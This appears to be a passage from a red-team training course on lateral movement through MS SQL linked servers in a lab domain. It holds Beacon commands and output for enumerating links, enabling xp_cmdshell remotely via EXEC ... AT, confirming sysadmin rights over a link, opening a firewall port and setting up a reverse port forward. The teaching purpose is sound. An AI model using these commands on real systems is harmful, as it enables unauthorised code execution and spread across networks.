SQL Servers have a concept called "links", which allows a database instance to access data from an external source. MS SQL supports multiple sources, including other MS SQL Servers. These can also be practically anywhere - including other domains, forests or in the cloud.
We can discover any links that the current instance has:
SELECT srvname, srvproduct, rpcout FROM master..sysservers;
This shows that SQL-2 has a link to SQL-1. The SQLRecon links module could also be used.
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:links
[*] Additional SQL links on sql-2.dev.cyberbotic.io,1433
name | product | provider | data_source |
------------------------------------------
SQL-1.CYBERBOTIC.IO | SQL Server | SQLNCLI | SQL-1.CYBERBOTIC.IO |
We can send SQL queries to linked servers using OpenQuery:
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');
The use of double and single quotes is important when using OpenQuery.
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:lquery /l:sql-1.cyberbotic.io /c:"select name,value from sys.configurations WHERE name = ''xp_cmdshell''"
[*] Executing 'select name,value from sys.configurations WHERE name = ''xp_cmdshell''' on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
name | value |
---------------
xp_cmdshell | 0 |
If xp_cmdshell is disabled, you won't be able to enable it by executing sp_configure via OpenQuery. If RPC Out is enabled on the link (which is not the default configuration), then you can enable it using the following syntax:
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
The square braces are required.
We can query SQL-1 to find out if it has any further links.
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:llinks /l:sql-1.cyberbotic.io
[*] Additional SQL links on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
[+] No results.
In this case it does not, but manually querying each server to find additional links can be cumbersome and time-consuming. Instead, Get-SQLServerLinkCrawl can automatically crawl all available links and shows you a bit of information for each instance.
beacon> powershell Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433"
Version : SQL Server 2019
Instance : SQL-2
CustomQuery :
Sysadmin : 1
Path : {SQL-2}
User : DEV\bfarmer
Links : {SQL-1.CYBERBOTIC.IO}
Version : SQL Server 2019
Instance : SQL-1
CustomQuery :
Sysadmin : 1
Path : {SQL-2, SQL-1.CYBERBOTIC.IO}
User : sa
Links :
This output shows that the link from SQL-2 to SQL-1 is configured with a local sa account, and that it has sysadmin privileges on the remote server. Your level of privilege on the linked server will depend on how the link is configured. It's worth noting that in this particular case, any user who has public read access to the SQL-2 database instance will inherit sysadmin rights on SQL-1. We do not need to be sysadmin on SQL-2 first.
The lwhoami module in SQLRecon can show similar information.
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:lwhoami /l:sql-1.cyberbotic.io
[*] Determining user permissions on sql-1.cyberbotic.io via sql-2.dev.cyberbotic.io,1433
[*] Logged in as sa
[*] Mapped to the user dbo
[*] Roles:
|-> User is a member of public role.
|-> User is NOT a member of db_owner role.
|-> User is NOT a member of db_accessadmin role.
|-> User is NOT a member of db_securityadmin role.
|-> User is NOT a member of db_ddladmin role.
|-> User is NOT a member of db_backupoperator role.
|-> User is NOT a member of db_datareader role.
|-> User is NOT a member of db_datawriter role.
|-> User is NOT a member of db_denydatareader role.
|-> User is NOT a member of db_denydatawriter role.
|-> User is a member of sysadmin role.
|-> User is a member of setupadmin role.
|-> User is a member of serveradmin role.
|-> User is a member of securityadmin role.
|-> User is a member of processadmin role.
|-> User is a member of diskadmin role.
|-> User is a member of dbcreator role.
|-> User is a member of bulkadmin role.
To execute a Beacon on SQL-1, we can pretty much repeat the same steps as previously. However, note that SQL-1 may only be able to talk to SQL-2 and not to WKSTN-2 or any other machine in the DEV domain.
beacon> run hostname
sql-2
beacon> getuid
[*] You are DEV\mssql_svc (admin)
beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
beacon> rportfwd 8080 127.0.0.1 80
[+] started reverse port forward on 8080 to 127.0.0.1:80
You can use xp_cmdshell on a linked server via OpenQuery (note that you need to prepend a dummy query) for it to work.